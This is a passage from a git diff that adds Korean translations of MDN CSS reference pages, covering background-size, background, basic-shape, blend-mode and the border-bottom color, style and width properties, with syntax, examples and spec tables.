  • 너비와 높이 값을 모두 사용. 첫 번째 값은 너비로, 두 번째 값은 높이를 설정합니다. 각 값은 {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, {{anch("auto")}}를 사용할 수 있습니다.
  • +
+ +

여러 배경 이미지의 사이즈를 지정하려면 각각의 값을 쉼표로 구분하세요.

+ +

+ +
+
contain
+
이미지가 잘리거나 찌그러지지 않는 한도 내에서 제일 크게 설정.
+
cover
+
이미지가 찌그러지지 않는 한도 내에서 제일 크게 설정. 이미지의 가로세로비가 요소와 다르다면 이미지를 세로 또는 가로방향으로 잘라내어 빈 공간이 생기지 않도록 설정합니다.
+
auto
+
배경 이미지의 원본 크기를 유지.
+
{{cssxref("<length>")}}
+
원본 크기의 너비/높이를 주어진 값으로 늘리거나 줄임. 음수는 유효하지 않습니다.
+
{{cssxref("<percentage>")}}
+
Stretches the image in the corresponding dimension to the specified percentage of the background positioning area. The background positioning area is determined by the value of {{cssxref("background-origin")}} (by default, the padding box). However, if the background's {{cssxref("background-attachment")}} value is fixed, the positioning area is instead the entire {{glossary("viewport")}}. Negative values are not allowed.
+
+ +

원본 크기와 비율

+ +

The computation of values depends on the image's intrinsic dimensions (width and height) and intrinsic proportions (width-to-height ratio). These attributes are as follows:

+ +
    +
  • A bitmap image (such as JPG) always has intrinsic dimensions and proportions.
  • +
  • A vector image (such as SVG) does not necessarily have intrinsic dimensions. If it has both horizontal and vertical intrinsic dimensions, it also has intrinsic proportions. If it has no dimensions or only one dimension, it may or may not have proportions.
  • +
  • CSS {{cssxref("<gradient>")}}s have no intrinsic dimensions or intrinsic proportions.
  • +
  • Background images created with the {{cssxref("element()")}} function use the intrinsic dimensions and proportions of the generating element.
  • +
+ +
+

Note: The behavior of <gradient>s changed in Gecko 8.0 {{geckoRelease("8.0")}}. Before this, they were treated as images with no intrinsic dimensions, but with intrinsic proportions identical to that of the background positioning area.

+
+ +
+

Note: In Gecko, background images created using the {{cssxref("element()")}} function are currently treated as images with the dimensions of the element, or of the background positioning area if the element is SVG, with the corresponding intrinsic proportion. This is non-standard behavior.

+
+ +

Based on the intrinsic dimensions and proportions, the rendered size of the background image is computed as follows:

+ +
+
If both components of background-size are specified and are not auto:
+
The background image is rendered at the specified size.
+
If the background-size is contain or cover:
+
While preserving its intrinsic proportions, the image is rendered at the largest size contained within, or covering, the background positioning area. If the image has no intrinsic proportions, then it's rendered at the size of the background positioning area.
+
If the background-size is auto or auto auto:
+
+
    +
  • If the image has both horizontal and vertical intrinsic dimensions, it's rendered at that size.
  • +
  • If the image has no intrinsic dimensions and has no intrinsic proportions, it's rendered at the size of the background positioning area.
  • +
  • If the image has no intrinsic dimensions but has intrinsic proportions, it's rendered as if contain had been specified instead.
  • +
  • If the image has only one intrinsic dimension and has intrinsic proportions, it's rendered at the size corresponding to that one dimension. The other dimension is computed using the specified dimension and the intrinsic proportions.
  • +
  • If the image has only one intrinsic dimension but has no intrinsic proportions, it's rendered using the specified dimension and the other dimension of the background positioning area.
  • +
+
+
+
Note: SVG images have a preserveAspectRatio attribute that defaults to the equivalent of contain. In Firefox 43, as opposed to Chrome 52, an explicit background-size causes preserveAspectRatio to be ignored.
+
+
If the background-size has one auto component and one non-auto component:
+
+
    +
  • If the image has intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the specified dimension and the intrinsic proportions.
  • +
  • If the image has no intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the image's corresponding intrinsic dimension, if there is one. If there is no such intrinsic dimension, it becomes the corresponding dimension of the background positioning area.
  • +
+
+
+ +
+

Note: Background sizing for vector images that lack intrinsic dimensions or proportions is not yet fully implemented in all browsers. Be careful about relying on the behavior described above, and test in multiple browsers to be sure the results are acceptable.

+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

Please see Scaling background images for examples.

+ +

참고

+ +

If you use a <gradient> as the background and specify a background-size to go with it, it's best not to specify a size that uses a single auto component, or is specified using only a width value (for example, background-size: 50%). Rendering of <gradient>s in such cases changed in Firefox 8, and at present is generally inconsistent across browsers, which do not all implement rendering in full accordance with the CSS3 background-size specification and with the CSS3 Image Values gradient specification.

+ +
.gradient-example {
+  width: 50px;
+  height: 100px;
+  background-image: linear-gradient(blue, red);
+
+  /* Not safe to use */
+  background-size: 25px;
+  background-size: 50%;
+  background-size: auto 50px;
+  background-size: auto 50%;
+
+  /* Safe to use */
+  background-size: 25px 50px;
+  background-size: 50% 50%;
+}
+
+ +

Note that it's particularly not recommended to use a pixel dimension and an auto dimension with a <gradient>, because it's impossible to replicate rendering in versions of Firefox prior to 8, and in browsers not implementing Firefox 8's rendering, without knowing the exact size of the element whose background is being specified.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background-size', 'background-size')}}{{Spec2('CSS3 Backgrounds')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-size")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/background/index.html b/files/ko/web/css/background/index.html new file mode 100644 index 0000000000..1fd697b1d8 --- /dev/null +++ b/files/ko/web/css/background/index.html @@ -0,0 +1,178 @@ +--- +title: background +slug: Web/CSS/background +tags: + - CSS + - CSS Background + - CSS Property + - Reference + - 'recipe:css-shorthand-property' +translation_of: Web/CSS/background +--- +
{{CSSRef("CSS Background")}}
+ +

CSS background 단축 속성은 색상, 이미지, 원점, 크기, 반복 등 여러 배경 스타일을 한 번에 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background.html")}}
+ + + +

구성 속성

+ +

background는 단축 속성으로서 다음의 하위 속성을 포함합니다.

+ +
    +
  • {{cssxref("background-attachment")}}
  • +
  • {{cssxref("background-clip")}}
  • +
  • {{cssxref("background-color")}}
  • +
  • {{cssxref("background-image")}}
  • +
  • {{cssxref("background-origin")}}
  • +
  • {{cssxref("background-position")}}
  • +
  • {{cssxref("background-repeat")}}
  • +
  • {{cssxref("background-size")}}
  • +
+ +

구문

+ +
/* <background-color> 사용 */
+background: green;
+
+/* <bg-image>와 <repeat-style> 사용 */
+background: url("test.jpg") repeat-y;
+
+/* <box>와 <background-color> 사용 */
+background: border-box red;
+
+/* 단일 이미지, 중앙 배치 및 크기 조절 */
+background: no-repeat center/80% url("../img/image.png");
+
+ +

background 속성을 쉼표로 구분해서 배경 레이어를 여러 개 지정할 수 있습니다.

+ +

각 레이어의 구문은 다음과 같습니다.

+ +
    +
  • 각 레이어는 다음 값을 가지거나 가지지 않을 수 있습니다. + +
  • +
  • <bg-size> 값은 <position> 바로 뒤에만 위치할 수 있으며 '/' 문자로 구분해야 합니다. 예를 들면 "center/80%" 처럼 사용합니다.
  • +
  • <box> 값은 2개까지 가지거나 가지지 않을 수 있습니다. 1개 가진다면 {{cssxref("background-origin")}}과 {{cssxref("background-clip")}}을 모두 설정합니다. 2개 가진다면 처음 값은 {{cssxref("background-origin")}}, 두 번째 값은 {{cssxref("background-clip")}}을 설정합니다.
  • +
  • <background-color> 값은 마지막 레이어만 가질 수 있습니다.
  • +
+ +

+ +
+
<attachment>
+
{{cssxref("background-attachment")}}
+
<box>
+
{{cssxref("background-clip")}}, {{cssxref("background-origin")}}
+
<background-color>
+
{{cssxref("background-color")}}
+
<bg-image>
+
{{Cssxref("background-image")}}
+
<position>
+
{{cssxref("background-position")}}
+
<repeat-style>
+
{{cssxref("background-repeat")}}
+
<bg-size>
+
{{cssxref("background-size")}}
+
+ +

접근성 고려사항

+ +

브라우저는 배경 이미지에 대한 어떠한 추가 정보도 접근성 보조 기술에 제공하지 않습니다. 특히 스크린 리더의 경우 배경 이미지의 존재 유무조차 알려주지 않습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.

+ + + +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

색상 키워드와 이미지를 사용한 배경

+ +

HTML

+ +
<p class="topbanner">
+  작은 별<br/>
+  반짝 반짝<br/>
+  작은 별
+</p>
+<p class="warning">문단 하나<p>
+ +

CSS

+ +
.warning {
+  background: pink;
+}
+
+.topbanner {
+  background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed;
+}
+ +

결과

+ +

{{EmbedLiveSample("색상_키워드와_이미지를_사용한_배경")}}

+ +
    +
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background', 'background')}}{{Spec2('CSS3 Backgrounds')}}The shorthand property has been extended to support multiple backgrounds and the new {{cssxref("background-size")}}, {{cssxref("background-origin")}} and {{cssxref("background-clip")}} properties.
{{SpecName('CSS2.1', 'colors.html#propdef-background', 'background')}}{{Spec2('CSS2.1')}}No significant changes
{{SpecName('CSS1', '#background', 'background')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background")}}

+ +

같이 보기

+ + + +

Categoria

diff --git a/files/ko/web/css/basic-shape/index.html b/files/ko/web/css/basic-shape/index.html new file mode 100644 index 0000000000..1697320804 --- /dev/null +++ b/files/ko/web/css/basic-shape/index.html @@ -0,0 +1,179 @@ +--- +title: +slug: Web/CSS/basic-shape +tags: + - CSS + - CSS Date Type + - CSS Shapes + - Reference +translation_of: Web/CSS/basic-shape +--- +
{{CSSRef}}
+ +

<basic-shape> CSS 자료형은 {{cssxref("clip-path")}}, {{cssxref("shape-outside")}}, {{cssxref("offset-path")}} 속성이 사용할 형태를 정의합니다.

+ +
{{EmbedInteractiveExample("pages/css/type-basic-shape.html")}}
+ + + +

구문

+ +

<basic-shape> 자료형은 아래의 기본 형태 함수 중 하나를 사용해 정의합니다.

+ +

형태를 생성할 때, 형태의 기준 상자는 <basic-shape> 값을 사용하는 속성이 결정합니다. 형태의 좌표계는 기준 상자의 좌상단을 원점으로 하고, X축은 오른쪽, Y축은 아래쪽으로 나가게 됩니다. 백분율료 표현한 모든 길이는 기준 상자의 크기를 사용해 계산합니다.

+ +

형태 함수

+ +

다음의 형태를 지원합니다. 모든 <basic-shape> 값은 함수형 표기법을 사용하고, 여기서는 값 정의 구문을 통해 정의합니다.

+ +
+
inset()
+
+
inset( <shape-arg>{1,4} [round <border-radius>]? )
+ +

인셋(inset) 사각형을 정의합니다.

+ +

매개변수 네 개를 모두 제공했을 땐 기준 상자의 상, 우, 하, 좌측 모서리에서 각각의 값만큼 안쪽으로 이동하여 인셋 사각형의 모서리를 구성합니다. 매개변수는 여백 단축 속성의 구분을 따르므로 네 모서리를 한 개, 두 개 등의 값만으로 정의할 수 있습니다.

+ +

선택적 {{cssxref("border-radius", "<border-radius>")}} 매개변수를 border-radius 단축 속성 구문을 사용해 지정하면 인셋 사각형의 모서리를 둥글게 만들 수 있습니다.

+ +

좌우 인셋 각각 75%처럼, 한 축의 인셋 쌍 값의 합이 요소가 차지하는 크기보다 큰 경우 면적 없는 형태를 정의합니다.

+ + +
+
circle()
+
+
circle( [<shape-radius>]? [at <position>]? )
+ +

<shape-radius> 매개변수는 원의 반지름 r을 지정합니다. 음수는 유효하지 않습니다. 백분율 값을 사용하면 기준 상자의 너비와 높이를 공식 sqrt(width^2+height^2)/sqrt(2)에 대입한 결과가 최종 값이 됩니다.

+ +

{{cssxref("<position>")}} 매개변수는 원의 중심을 지정합니다. 생략할 경우 중앙을 기본값으로 사용합니다.

+
+
ellipse()
+
+
ellipse( [<shape-radius>{2}]? [at <position>]? )
+ +

<shape-radius> 매개변수는 타원의 X축, Y축 반지름인 rx와 ry를 순서대로 지정합니다. 두 값 모두 음수는 유효하지 않습니다. 백분율 값을 사용하면 기준 상자의 너비(rx)와 높이(ry)를 사용해 계산합니다.

+ +

{{cssxref("<position>")}} 매개변수는 타원의 중심을 지정합니다. 생략할 경우 중앙을 기본값으로 사용합니다.

+
+
polygon()
+
+
polygon( [<fill-rule>,]? [<shape-arg> <shape-arg>]# )
+ +

<fill-rule> represents the filling rule used to determine the interior of the polygon. Possible values are nonzero and evenodd. Default value when omitted is nonzero.

+ +

Each pair argument in the list represents xi and yi - the x and y axis coordinates of the ith vertex of the polygon.

+
+
path()
+
+
path( [<fill-rule>,]? <string>)
+ +

The optional <fill-rule> represents the filling rule used to determine the interior of the path. Possible values are nonzero and evenodd. Default value when omitted is nonzero.

+ +

The required <string> is an SVG Path string encompassed in quotes

+
+
+ +

The arguments not defined above are defined as follows:

+ +
<shape-arg> = <length> | <percentage>
+<shape-radius> = <length> | <percentage> | closest-side | farthest-side
+ +

Defines a radius for a circle or ellipse. If omitted it defaults to closest-side.

+ +

closest-side uses the length from the center of the shape to the closest side of the reference box. For circles, this is the closest side in any dimension. For ellipses, this is the closest side in the radius dimension.

+ +

farthest-side uses the length from the center of the shape to the farthest side of the reference box. For circles, this is the farthest side in any dimension. For ellipses, this is the farthest side in the radius dimension.

+ +

기본 형태의 계산값

+ +

The values in a <basic-shape> function are computed as specified, with these exceptions:

+ +
    +
  • Omitted values are included and compute to their defaults.
  • +
  • A {{cssxref("<position>")}} value in circle() or ellipse() is computed as a pair of offsets (horizontal then vertical) from the top left origin, each given as a combination of an absolute length and a percentage.
  • +
  • A <border-radius> value in inset() is computed as an expanded list of all eight {{cssxref("length")}} or percentage values.
  • +
+ +

기본 형태의 보간법

+ +

When animating between one <basic-shape> and another, the rules below are applied. The values in the shape functions interpolate as a simple list. The list values interpolate as {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, or {{cssxref("calc()")}} where possible. If list values are not one of those types but are identical, those values do interpolate.

+ +
    +
  • Both shapes must use the same reference box.
  • +
  • If both shapes are the same type, that type is ellipse() or circle(), and none of the radii use the closest-side or farthest-side keywords, interpolate between each value in the shape functions.
  • +
  • If both shapes are of type inset(), interpolate between each value in the shape functions.
  • +
  • If both shapes are of type polygon(), both polygons have the same number of vertices, and use the same <fill-rule>, interpolate between each value in the shape functions.
  • +
  • If both shapes are of type path(), both paths strings have the same number and types of path data commands in the same order, interpolate each path data command as real numbers.
  • +
  • In all other cases no interpolation occurs.
  • +
+ +

예제

+ +

Animated polygon

+ +

In this example, we use the @keyframes at-rule to animate a clip path between two polygons. Note that both polygons have the same number of vertices, which is necessary for this type of animation to work.

+ +

HTML

+ +
<div></div>
+ +

CSS

+ +
div {
+  width: 300px;
+  height: 300px;
+  background: repeating-linear-gradient(red, orange 50px);
+  clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%);
+  animation: 4s poly infinite alternate ease-in-out;
+  margin: 10px auto;
+}
+
+@keyframes poly {
+  from {
+    clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%);
+  }
+
+  to {
+    clip-path: polygon(50% 30%, 100% 0%, 70% 50%, 100% 100%, 50% 70%, 0% 100%, 30% 50%, 0% 0%);
+  }
+}
+ +

결과

+ +

{{EmbedLiveSample('Animated_polygon','340', '340')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS Shapes', '#basic-shape-functions', '<basic-shape>') }}{{ Spec2('CSS Shapes') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.basic-shape")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/blend-mode/index.html b/files/ko/web/css/blend-mode/index.html new file mode 100644 index 0000000000..f5570e1ce3 --- /dev/null +++ b/files/ko/web/css/blend-mode/index.html @@ -0,0 +1,404 @@ +--- +title: +slug: Web/CSS/blend-mode +tags: + - CSS + - CSS Data Type + - Reference + - 블렌드 모드 + - 혼합 모드 +translation_of: Web/CSS/blend-mode +--- +
{{CSSRef}}
+ +

CSS <blend-mode> 자료형은 요소가 겹칠 경우 색상이 어떻게 나타나야 하는지 정의합니다. {{cssxref("background-blend-mode")}}와 {{cssxref("mix-blend-mode")}} 속성에서 사용합니다.

+ +

최종 색상은 혼합 모드를 적용한 레이어 각각의 픽셀 하나씩에 대해 전경색과 배경색을 취한 후 모드에 따라 계산을 수행하여 나온 새로운 값입니다.

+ +

구문

+ +

<blend-mode> 자료형은 다음 키워드 값 중 하나를 선택해 지정합니다.

+ +

+ +
+
normal
+
+

배경색에 상관하지 않고 최상단 색을 사용합니다.
+ 두 장의 불투명한 종이를 겹친 것과 같습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('normal_example', "300", "300") }}

+
+
multiply
+
+

최종 색은 전경과 배경색을 곱한 값입니다.
+ 검은 레이어는 최종 레이어를 검은 색으로 만들고, 하얀 레이어는 아무런 변화도 주지 않습니다.
+ 투명한 필름에 프린트한 이미지를 서로 겹친 것과 같습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('multiply_example', "300", "300") }}

+
+
screen
+
+

최종 색은 전경과 배경색을 각각 반전한 후 서로 곱해 나온 값을 다시 반전한 값입니다.
+ 검은 레이어는 아무런 변화도 주지 않고, 하얀 레이어는 최종 레이어를 하얗게 만듭니다.
+ 프로젝터 두 대로 이미지를 겹친 것과 같습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('screen_example', "300", "300") }}

+
+
overlay
+
배경색이 더 어두운 경우 multiply, 더 밝은 경우 screen을 적용합니다.
+ hard-light와 같지만 배경과 전경을 뒤집은 것입니다. +
+ +
+ +

{{ EmbedLiveSample('overlay_example', "300", "300") }}

+
+
darken
+
+

최종 색은 각각의 색상 채널에 대해 제일 어두운 값을 취한 결과입니다.

+ +
+ +
+ +

{{ EmbedLiveSample('darken_example', "300", "300") }}

+
+
lighten
+
+

최종 색은 각각의 색상 채널에 대해 제일 밝은 값을 취한 결과입니다.

+ +
+ +
+ +

{{ EmbedLiveSample('lighten_example', "300", "300") }}

+
+
color-dodge
+
+

최종 색은 배경색을 전경색의 역으로 나눈 결과입니다.
+ 검은 전경색은 아무런 변화도 주지 않습니다. 전경색이 배경색의 역인 경우 제일 밝은 색이 됩니다.
+ screen과 유사하지만, 전경색의 밝기가 배경색과 동일하기만 해도 최대의 밝기를 가진 색을 반환합니다.

+ +
+ +
+ +

{{ EmbedLiveSample('color-dodge_example', "300", "300") }}

+
+
color-burn
+
+

최종 색은 배경색을 반전한 후 전경색으로 나누고, 다시 반전한 결과입니다.
+ 하얀 전경색은 아무런 변화도 주지 않습니다. 전경색이 배경색의 역인 경우 결과는 검은색입니다.
+ multiply와 유사하지만, 전경색의 밝기가 배경색의 역과 동일하기만 해도 검은색을 반환합니다.

+ +
+ +
+ +

{{ EmbedLiveSample('color-burn_example', "300", "300") }}

+
+
hard-light
+
+

전경색이 더 어두운 경우 multiply, 더 밝은 경우 screen을 적용합니다.
+ overlay와 같지만 배경과 전경을 뒤집은 것입니다.
+ 배경색에 스포트라이트를 "강렬하게" 비춘 효과와 유사합니다.

+ +
+ +
+ +

{{ EmbedLiveSample('hard-light_example', "300", "300") }}

+
+
soft-light
+
+

hard-light와 유사하지만 더 부드럽습니다.
+ hard-light와 비슷하게 동작합니다.
+ 배경색에 스포트라이트를 산란시켜 비춘 효과와 유사합니다.

+ +
+ +
+ +

{{ EmbedLiveSample('soft-light_example', "300", "300") }}

+
+
difference
+
+

최종 색은 두 색상 중 더 어두운 색을 밝은 색에서 뺀 결과입니다.
+ 검은 레이어는 아무런 변화도 주지 않고, 흰 레이어로는 다른 레이어의 색을 반전한 효과를 냅니다.

+ +
+ +
+ +

{{ EmbedLiveSample('difference_example', "300", "300") }}

+
+
exclusion
+
+

difference와 유사하지만 더 적은 대비를 가진 색을 반환합니다.
+ difference와 마찬가지로 검은 레이어는 아무런 변화도 주지 않고, 흰 레이어로는 다른 레이어의 색을 반전한 효과를 냅니다.

+ +
+ +
+ +

{{ EmbedLiveSample('exclusion_example', "300", "300") }}

+
+
hue
+
+

최종 색은 전경색의 색조를 가지며 배경색의 채도와 밝기를 가집니다.

+ +
+ +
+ +

{{ EmbedLiveSample('hue_example', "300", "300") }}

+
+
saturation
+
+

최종 색은 전경색의 채도를 가지며 배경색의 색조와 밝기를 가집니다.
+ 색조 없는 순수한 회색 배경으로는 아무런 효과도 없습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('saturation_example', "300", "300") }}

+
+
color
+
+

최종 색은 전경색의 색조와 채도를 가지며 배경색의 밝기를 가집니다.
+ 회색조를 유지하므로 전경을 색칠할 때 사용할 수 있습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('color_example', "300", "300") }}

+
+
luminosity
+
+

최종 색은 전경색의 밝기를 가지며 배경색의 색조와 채도를 가집니다.
+ color와 동일하지만 배경과 전경을 뒤집은 것입니다.

+ +
+ +
+ +

{{ EmbedLiveSample('luminosity_example', "300", "300") }}

+
+
+ +

혼합 모드의 보간

+ +

혼합 모드는 보간 대상이 아니며 모든 변경점은 즉시 발생합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Compositing', '#ltblendmodegt', '<blend-mode>') }}{{ Spec2('Compositing') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.blend-mode")}}

+ +

같이 보기

+ +
    +
  • <blend-mode>를 사용하는 속성: {{cssxref("background-blend-mode")}}, {{cssxref("mix-blend-mode")}}
  • +
+ +

각각의 혼합 모드에 대한 설명을 다루는 외부 웹 페이지:

+ + diff --git a/files/ko/web/css/border-bottom-color/index.html b/files/ko/web/css/border-bottom-color/index.html new file mode 100644 index 0000000000..eddf531cdc --- /dev/null +++ b/files/ko/web/css/border-bottom-color/index.html @@ -0,0 +1,114 @@ +--- +title: border-bottom-color +slug: Web/CSS/border-bottom-color +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-bottom-color +--- +
{{CSSRef}}
+ +

border-bottom-color CSS 속성은 요소의 아래쪽 테두리 색상을 지정합니다. {{cssxref("border-color")}} 또는 {{cssxref("border-bottom")}} 단축 속성으로도 지정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-bottom-color.html")}}
+ + + +

구문

+ +
/* <color> 값 */
+border-bottom-color: red;
+border-bottom-color: #ffbb00;
+border-bottom-color: rgb(255, 0, 0);
+border-bottom-color: hsla(100%, 50%, 25%, 0.75);
+border-bottom-color: currentColor;
+border-bottom-color: transparent;
+
+/* 전역 값 */
+border-bottom-color: inherit;
+border-bottom-color: initial;
+border-bottom-color: unset;
+
+ +

border-bottom-color 속성은 하나의 값을 사용해 지정합니다.

+ +

+ +
+
{{cssxref("<color>")}}
+
아래쪽 테두리의 색상.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리를 가진 간단한 상자

+ +

HTML

+ +
<div class="mybox">
+  <p>This is a box with a border around it.
+     Note which side of the box is
+     <span class="redtext">red</span>.</p>
+</div>
+ +

CSS

+ +
.mybox {
+  border: solid 0.3em gold;
+  border-bottom-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리를_가진_간단한_상자')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-bottom-color', 'border-bottom-color')}}{{Spec2('CSS3 Backgrounds')}}No significant changes, though the transparent keyword, now included in {{cssxref("<color>")}} which has been extended, has been formally removed.
{{SpecName('CSS2.1', 'box.html#propdef-border-bottom-color', 'border-bottom-color')}}{{Spec2('CSS2.1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-bottom-color")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}.
  • +
  • 다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-left-color")}}.
  • +
  • 아래쪽 테두리 관련 CSS 속성: {{cssxref("border-bottom-style")}}, {{cssxref("border-bottom-width")}}.
  • +
diff --git a/files/ko/web/css/border-bottom-style/index.html b/files/ko/web/css/border-bottom-style/index.html new file mode 100644 index 0000000000..7cbdb4d17a --- /dev/null +++ b/files/ko/web/css/border-bottom-style/index.html @@ -0,0 +1,134 @@ +--- +title: border-bottom-style +slug: Web/CSS/border-bottom-style +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-bottom-style +--- +
{{CSSRef}}
+ +

border-bottom-style CSS 속성은 요소 테두리의 아래쪽 스타일을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-bottom-style.html")}}
+ + + +
참고: 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.
+ +

구문

+ +
/* 키워드 값 */
+border-bottom-style: none;
+border-bottom-style: hidden;
+border-bottom-style: dotted;
+border-bottom-style: dashed;
+border-bottom-style: solid;
+border-bottom-style: double;
+border-bottom-style: groove;
+border-bottom-style: ridge;
+border-bottom-style: inset;
+border-bottom-style: outset;
+
+/* 전역 값 */
+border-bottom-style: inherit;
+border-bottom-style: initial;
+border-bottom-style: unset;
+
+ +

border-bottom-style 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<table>
+  <tr>
+    <td class="b1">none</td>
+    <td class="b2">hidden</td>
+    <td class="b3">dotted</td>
+    <td class="b4">dashed</td>
+  </tr>
+  <tr>
+    <td class="b5">solid</td>
+    <td class="b6">double</td>
+    <td class="b7">groove</td>
+    <td class="b8">ridge</td>
+  </tr>
+  <tr>
+    <td class="b9">inset</td>
+    <td class="b10">outset</td>
+  </tr>
+</table>
+ +

CSS

+ +
/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-bottom-style example classes */
+.b1 {border-bottom-style: none;}
+.b2 {border-bottom-style: hidden;}
+.b3 {border-bottom-style: dotted;}
+.b4 {border-bottom-style: dashed;}
+.b5 {border-bottom-style: solid;}
+.b6 {border-bottom-style: double;}
+.b7 {border-bottom-style: groove;}
+.b8 {border-bottom-style: ridge;}
+.b9 {border-bottom-style: inset;}
+.b10 {border-bottom-style: outset;}
+ +

결과

+ +

{{EmbedLiveSample('예제', 300, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-bottom-style')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-bottom-style')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-bottom-style")}}

+ +

같이 보기

+ +
    +
  • 테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.
  • +
  • 아래쪽 테두리 관련 CSS 속성: {{cssxref("border-bottom")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-bottom-width")}}.
  • +
diff --git a/files/ko/web/css/border-bottom-width/index.html b/files/ko/web/css/border-bottom-width/index.html new file mode 100644 index 0000000000..eaf386b9a1 --- /dev/null +++ b/files/ko/web/css/border-bottom-width/index.html @@ -0,0 +1,150 @@ +--- +title: border-bottom-width +slug: Web/CSS/border-bottom-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/border-bottom-width +--- +
{{CSSRef}}
+ +

CSS border-bottom-width 속성은 요소의 아래 테두리 너비를 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-bottom-width.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+border-bottom-width: thin;
+border-bottom-width: medium;
+border-bottom-width: thick;
+
+/* <length> 값 */
+border-bottom-width: 10em;
+border-bottom-width: 3vmax;
+border-bottom-width: 6px;
+
+/* 전역 값 */
+border-bottom-width: inherit;
+border-bottom-width: initial;
+border-bottom-width: unset;
+
+ +

+ +
+
<line-width>
+
테두리의 너비입니다. 0 이상의 {{cssxref("<length>")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다. + + + + + + + + + + + + + + + + + + +
thin +
+
얇은 테두리
medium +
+
중간 테두리
thick +
+
굵은 테두리
+ +
+

참고: 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 thin ≤ medium ≤ thick이고, 하나의 문서 내에서 동일합니다.

+
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

아래 테두리의 너비 비교

+ +

HTML

+ +
<div>Element 1</div>
+<div>Element 2</div>
+ +

CSS

+ +
div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-bottom-width: thick;
+}
+div:nth-child(2) {
+  border-bottom-width: 2em;
+}
+ +

결과

+ +

{{EmbedLiveSample('아래_테두리의_너비_비교', '100%')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-bottom-width')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-bottom-width')}}{{Spec2('CSS2.1')}}No significant change.
{{SpecName('CSS1', '#border-left-width', 'border-bottom-width')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

